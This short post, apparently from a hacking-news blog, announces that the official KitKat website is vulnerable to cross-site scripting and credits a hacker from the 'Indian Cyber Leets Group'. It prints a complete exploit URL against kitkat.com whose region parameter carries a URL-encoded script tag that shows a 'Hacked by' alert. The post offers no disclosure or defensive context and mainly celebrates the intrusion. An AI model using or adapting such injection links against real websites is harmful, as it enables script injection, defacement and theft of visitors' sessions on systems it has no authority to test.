KitKat Official Website Vulnerable to XSS

This was discovered by Indian Xss expert Silent Hacker some days back.Silent Hacker is an active member of the Indian Cyber Leets Group.He has been very active lately in discovering Xss in many well high profile websites.

XSS Vulnerable Link:

http://www.kitkat.com/country.html?region=%22%3E%3Cscript%3Ealert%28%22Hacked+by+Silent+Hacker+from+ICL%22%29%3C%2Fscript%3E